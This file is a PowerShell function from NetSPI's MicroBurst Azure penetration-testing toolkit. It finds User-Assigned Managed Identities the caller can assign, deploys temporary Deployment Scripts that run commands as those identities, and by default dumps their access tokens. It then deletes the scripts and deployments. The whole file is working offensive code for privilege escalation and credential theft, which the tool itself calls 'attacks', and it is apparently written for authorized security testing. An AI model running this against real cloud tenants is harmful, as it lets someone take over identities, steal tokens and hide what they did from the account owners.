Files
NetSPI-MicroBurst/Az/Invoke-AzUADeploymentScript.ps1
Karl Fosaaen 1990ea38d1 Update Invoke-AzUADeploymentScript.ps1
Adjusted token extraction command to correct for token casting to SecureString in Get-AzAccessToken output.
2025-10-29 15:53:37 -07:00

312 lines
16 KiB
PowerShell

<#
File: Invoke-AzUADeploymentScript.ps1
Author: Karl Fosaaen (@kfosaaen), NetSPI - 2024
Description: PowerShell function for generating Azure User-Assigned Managed Identity tokens, using deployment scripts.
#>
Function Invoke-AzUADeploymentScript
{
<#
.SYNOPSIS
Enumerates and dumps access tokens for any available User-Assigned Managed Identities.
.DESCRIPTION
This function will look for any available User-Assigned Managed Identities, then allows you to run commands (via Deployment Scripts) as that identity. The base usage will create a temporary Deployment Script that attaches the selected Managed Identity and generates a management scoped access token.
.PARAMETER Subscription
Subscription to use.
.PARAMETER TokenScope
The scope to generate the Managed Identity for.
.PARAMETER Command
The Command to run as the Managed Identity in the Deployment Script environment. If you are expecting output from this command, make sure that you pipe your command to a ConvertTo-* in the parameter to ensure that a string is returned to the output function. Example: -Command "Get-AzResource | ConvertTo-Json"
.EXAMPLE
PS C:\MicroBurst> Invoke-AzUADeploymentScript -Verbose
VERBOSE: Logged In as kfosaaen@example.com
VERBOSE: Enumerating User Assigned Managed Identities in the "Sample Subscription" Subscription
VERBOSE: 4 total User Assigned Managed Identities identified in the "Sample Subscription" Subscription
VERBOSE: Checking permissions on NetSPI Managed Identity
VERBOSE: Checking permissions on testIdentity Managed Identity
VERBOSE: Checking permissions on secondID Managed Identity
VERBOSE: Checking permissions on ID3 Managed Identity
VERBOSE: 10 User Assigned Managed Identity Role Assignments that the current user has access to
VERBOSE: Targeting the ID3 Managed Identity using the MDFTjQIEZckgyNf Deployment Script
VERBOSE: Starting the deployment (tmp8B1) of the MDFTjQIEZckgyNf Deployment Script to the tester Resource Group
VERBOSE: Deleting the MDFTjQIEZckgyNf Deployment Script
VERBOSE: Deleting the tmp8B1 Deployment
VERBOSE: Completed targeting the ID3 Managed Identity
VERBOSE: Completed attacks against the "Sample Subscription" Subscription
.LINK
https://github.com/NetSPI/MicroBurst
https://github.com/SecureHats/miaow
https://rogierdijkman.medium.com/project-miaow-9f334e8ec09e
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory=$false,
HelpMessage="Subscription to use.")]
[string]$Subscription = "",
[parameter(Mandatory=$false,
HelpMessage="The scope to generate the Managed Identity for.")]
[String]$TokenScope = "https://management.azure.com/",
[parameter(Mandatory=$false,
HelpMessage="The Resource Group to deploy the Deployment Script to.")]
[String]$ResourceGroup = "",
[parameter(Mandatory=$false,
HelpMessage="The Subscription that contains the Resource Group to deploy the Deployment Script to.")]
[String]$DeploymentSubscriptionID = "",
[Parameter(Mandatory=$false,
HelpMessage="Command to run in the deployment script.")]
[string]$Command = "`$AccessToken = Get-AzAccessToken -ResourceUrl $TokenScope; if (`$AccessToken.Token -is [System.Security.SecureString]) { `$ssPtr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR(`$AccessToken.Token); try { `$Token = [System.Runtime.InteropServices.Marshal]::PtrToStringBSTR(`$ssPtr)} finally { [System.Runtime.InteropServices.Marshal]::ZeroFreeBSTR(`$ssPtr) } } else { `$Token = `$AccessToken.Token }; `$Token"
)
# Check to see if we're logged in
$LoginStatus = Get-AzContext
$accountName = ($LoginStatus.Account).Id
if ($LoginStatus.Account -eq $null){Write-Warning "No active login. Prompting for login."
try {Connect-AzAccount -ErrorAction Stop}
catch{Write-Warning "Login process failed."}
}
else{}
# Subscription name is technically required if one is not already set, list sub names if one is not provided "Get-AzSubscription"
if ($Subscription){
Select-AzSubscription -SubscriptionName $Subscription | Out-Null
}
else{
# List subscriptions, pipe out to gridview selection
$Subscriptions = Get-AzSubscription -WarningAction SilentlyContinue
$subChoice = $Subscriptions | Out-GridView -Title "Select One or More Subscriptions" -PassThru
foreach ($sub in $subChoice) {Invoke-AzUADeploymentScript -Subscription $sub -TokenScope $TokenScope -Command $Command -ResourceGroup $ResourceGroup -DeploymentSubscriptionID $DeploymentSubscriptionID}
return
}
Write-Verbose "Logged In as $accountName"
Write-Verbose "Enumerating User Assigned Managed Identities in the `"$((Get-AzSubscription -SubscriptionId $Subscription).Name)`" Subscription"
# Create data table to house roles
$TempTblRoles = New-Object System.Data.DataTable
$TempTblRoles.Columns.Add("DisplayName") | Out-Null
$TempTblRoles.Columns.Add("RoleDefinitionName") | Out-Null
$TempTblRoles.Columns.Add("Scope") | Out-Null
$TempTblRoles.Columns.Add("ResourceGroup") | Out-Null
$TempTblRoles.Columns.Add("SubscriptionID") | Out-Null
# Create data table to house output
$TempTblOutput = New-Object System.Data.DataTable
$TempTblOutput.Columns.Add("ManagedIdentity") | Out-Null
$TempTblOutput.Columns.Add("Output") | Out-Null
# Get the list of UA-MIs and Role Assignments
$uamiList = Get-AzUserAssignedIdentity
Write-Verbose "`t$($uamiList.Count) total User Assigned Managed Identities identified in the `"$((Get-AzSubscription -SubscriptionId $Subscription).Name)`" Subscription"
$uamiList | ForEach-Object {
$IDRG = $_.ResourceGroupName
$uamidID = $_.PrincipalId
$uamidName = $_.Name
$uamidSub = $_.Id.Split('/')[2]
$AccessToken = Get-AzAccessToken
if ($AccessToken.Token -is [System.Security.SecureString]) {
$ssPtr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($AccessToken.Token)
try {
$Token = [System.Runtime.InteropServices.Marshal]::PtrToStringBSTR($ssPtr)
} finally {
[System.Runtime.InteropServices.Marshal]::ZeroFreeBSTR($ssPtr)
}
} else {
$Token = $AccessToken.Token
}
Write-Verbose "`t`tChecking permissions on $($_.Name) Managed Identity"
# Authorization Check - * or "Microsoft.ManagedIdentity/userAssignedIdentities/*/assign/action" permissions on the UAMI
$url = "https://management.azure.com/$($_.Id)/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
$uamiAccess = $false
(Invoke-RestMethod -Verbose:$false -Uri $url -Headers @{ Authorization ="Bearer $token"}).value | ForEach-Object{
if($_.actions -eq "*"){
$uamiAccess = $true
}
elseif($_.actions -eq "Microsoft.ManagedIdentity/userAssignedIdentities/*/assign/action"){
$uamiAccess = $true
}
}
# If you have read/assign, then proceed
if($uamiAccess -eq $true){
# Get roles from all available subscriptions and management groups
$tempRoles = Get-AzRoleAssignment -ObjectId $_.PrincipalId -ErrorAction SilentlyContinue
$tempRoles | ForEach-Object{
$TempTblRoles.Rows.Add($uamidName,$_.RoleDefinitionName,$_.Scope,$IDRG,$uamidSub) | Out-Null
}
# Get roles from all available subscriptions
$subscriptionList = Get-AzSubscription -WarningAction SilentlyContinue
$subscriptionList | ForEach-Object{
$tempRoles = Get-AzRoleAssignment -ObjectId $uamidID -Scope $(-join('/subscriptions/',$_.id)) -ErrorAction SilentlyContinue
$tempRoles | ForEach-Object{
$TempTblRoles.Rows.Add($uamidName,$_.RoleDefinitionName,$_.Scope,$IDRG,$uamidSub) | Out-Null
}
}
# Get roles from all available management groups
$mgmtGroups = Get-AzManagementGroup
$mgmtGroups | ForEach-Object{
$tempRoles = Get-AzRoleAssignment -ObjectId $uamidID -Scope $_.Id -ErrorAction SilentlyContinue
$tempRoles | ForEach-Object{
$TempTblRoles.Rows.Add($uamidName,$_.RoleDefinitionName,$_.Scope,$IDRG,$uamidSub) | Out-Null
}
}
}
}
$TempTblRolesSorted = $TempTblRoles | Sort-Object -Property DisplayName,RoleDefinitionName,Scope,ResourceGroup,SubscriptionID -Unique | Select-Object DisplayName,RoleDefinitionName,Scope,ResourceGroup,SubscriptionID
# Select a UA-MI to use
$roleChoice = $TempTblRolesSorted | Out-GridView -Title "Select One or More Identities/Roles to run commands as" -PassThru
foreach($role in $roleChoice){
$scriptName = -join ((65..90) + (97..122) | Get-Random -Count 15 | % {[char]$_})
Write-Verbose "`tTargeting the $($role.DisplayName) Managed Identity using the $scriptName Deployment Script"
# Create the deployment template with the command embedded
$tempDeployment = "{
`"`$schema`": `"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#`",
`"contentVersion`": `"1.0.0.0`",
`"parameters`": {
`"utcValue`": {
`"type`": `"String`",
`"defaultValue`":`"[utcNow()]`"
},
`"managedIdentitySubscription`": {
`"type`": `"String`"
},
`"managedIdentityResourceGroup`": {
`"type`": `"String`"
},
`"managedIdentityName`": {
`"type`": `"String`"
},
`"command`": {
`"type`": `"String`",
`"defaultValue`":`"(Get-AzAccessToken).Token`"
}
},
`"variables`": {},
`"resources`": [
{
`"type`": `"Microsoft.Resources/deploymentScripts`",
`"apiVersion`": `"2020-10-01`",
`"name`": `"$scriptName`",
`"location`": `"[resourceGroup().location]`",
`"kind`": `"AzurePowerShell`",
`"identity`": {
`"type`": `"UserAssigned`",
`"userAssignedIdentities`": {
`"[resourceId(parameters('managedIdentitySubscription'), parameters('managedIdentityResourceGroup'), 'Microsoft.ManagedIdentity/userAssignedIdentities', parameters('managedIdentityName'))]`": {}
}
},
`"properties`": {
`"forceUpdateTag`": `"[parameters('utcValue')]`",
`"azPowerShellVersion`": `"8.3`",
`"timeout`": `"PT30M`",
`"arguments`": `"`",
`"scriptContent`": `"`$output = `$($command); `$DeploymentScriptOutputs = @{}; `$DeploymentScriptOutputs['text'] = `$output`",
`"cleanupPreference`": `"Always`",
`"retentionInterval`": `"P1D`"
}
}
],
`"outputs`": {
`"result`": {
`"value`": `"[reference('$scriptName').outputs.text]`",
`"type`": `"string`"
}
}
}"
# Create Temp File
$TemplateFile = New-TemporaryFile
$tempDeployment | Out-File $TemplateFile
# Improvement Opportunity - !!! Test Resource Group Permissions before attempting to deploy
# If alternate Subscription is in use, swap Subscriptions
if(($DeploymentSubscriptionID -ne "") -and ($ResourceGroup -ne "")){
$currentContext = Get-AzContext
Set-AzContext -SubscriptionId $DeploymentSubscriptionID | Out-Null
try{Get-AzResourceGroup -Name $ResourceGroup -ErrorAction Stop | Out-Null}
catch{Write-Verbose "$ResourceGroup is an invalid Resource Group Name for the `"$((Get-AzSubscription -SubscriptionId $DeploymentSubscriptionID).Name)`" subscription"; Write-Host "$ResourceGroup is an invalid Resource Group Name for the `"$((Get-AzSubscription -SubscriptionId $DeploymentSubscriptionID).Name)`" subscription"; break}
# Deploy the Template
Write-Verbose "`t`tStarting the deployment ($($TemplateFile.BaseName)) of the $scriptName Deployment Script to the $ResourceGroup Resource Group"
$newDeployment = New-AzResourceGroupDeployment -ResourceGroupName $ResourceGroup -TemplateFile $TemplateFile -managedIdentitySubscription $role.SubscriptionID -managedIdentityName $role.DisplayName -managedIdentityResourceGroup $role.ResourceGroup -Verbose:$false
# Delete the deployment script
Write-Verbose "`t`tDeleting the $scriptName Deployment Script"
Remove-AzDeploymentScript -Name $scriptName -ResourceGroupName $ResourceGroup
# Delete the deployment
Write-Verbose "`t`tDeleting the $($TemplateFile.BaseName) Deployment"
Remove-AzResourceGroupDeployment -Name $($TemplateFile.BaseName) -ResourceGroupName $ResourceGroup -Verbose:$false| Out-Null
Set-AzContext -Context $currentContext | Out-Null
}
elseif($ResourceGroup -ne ""){
# If Resource Group is specified, use that resource in your current subscription
try{Get-AzResourceGroup -Name $ResourceGroup -ErrorAction Stop | Out-Null}
catch{Write-Verbose "$ResourceGroup is an invalid Resource Group Name for the `"$((Get-AzSubscription -SubscriptionId $Subscription).Name)`" subscription"; Write-Host "$ResourceGroup is an invalid Resource Group Name for the `"$((Get-AzSubscription -SubscriptionId $Subscription).Name)`" subscription"; break}
# Deploy the Template
Write-Verbose "`t`tStarting the deployment ($($TemplateFile.BaseName)) of the $scriptName Deployment Script to the $ResourceGroup Resource Group"
$newDeployment = New-AzResourceGroupDeployment -ResourceGroupName $ResourceGroup -TemplateFile $TemplateFile -managedIdentitySubscription $role.SubscriptionID -managedIdentityName $role.DisplayName -managedIdentityResourceGroup $role.ResourceGroup -Verbose:$false
# Delete the deployment script
Write-Verbose "`t`tDeleting the $scriptName Deployment Script"
Remove-AzDeploymentScript -Name $scriptName -ResourceGroupName $ResourceGroup
# Delete the deployment
Write-Verbose "`t`tDeleting the $($TemplateFile.BaseName) Deployment"
Remove-AzResourceGroupDeployment -Name $($TemplateFile.BaseName) -ResourceGroupName $ResourceGroup -Verbose:$false| Out-Null
}
else{
# If running defaults, just deploy to the Resource Group of the UA-MI
$ResourceGroup = $role.ResourceGroup
# Deploy the Template
Write-Verbose "`t`tStarting the deployment ($($TemplateFile.BaseName)) of the $scriptName Deployment Script to the $ResourceGroup Resource Group"
$newDeployment = New-AzResourceGroupDeployment -ResourceGroupName $ResourceGroup -TemplateFile $TemplateFile -managedIdentitySubscription $role.SubscriptionID -managedIdentityName $role.DisplayName -managedIdentityResourceGroup $role.ResourceGroup -Verbose:$false
# Delete the deployment script
Write-Verbose "`t`tDeleting the $scriptName Deployment Script"
Remove-AzDeploymentScript -Name $scriptName -ResourceGroupName $ResourceGroup
# Delete the deployment
Write-Verbose "`t`tDeleting the $($TemplateFile.BaseName) Deployment"
Remove-AzResourceGroupDeployment -Name $($TemplateFile.BaseName) -ResourceGroupName $ResourceGroup -Verbose:$false| Out-Null
}
# Add the Output to the table
$TempTblOutput.Rows.Add($role.DisplayName,$newDeployment.Outputs.Values.value) | Out-Null
# Delete Temp File
Remove-Item $TemplateFile
Write-Verbose "`tCompleted targeting the $($role.DisplayName) Managed Identity"
}
Write-Verbose "Completed attacks against the `"$((Get-AzSubscription -SubscriptionId $Subscription).Name)`" Subscription"
Write-Output $TempTblOutput
}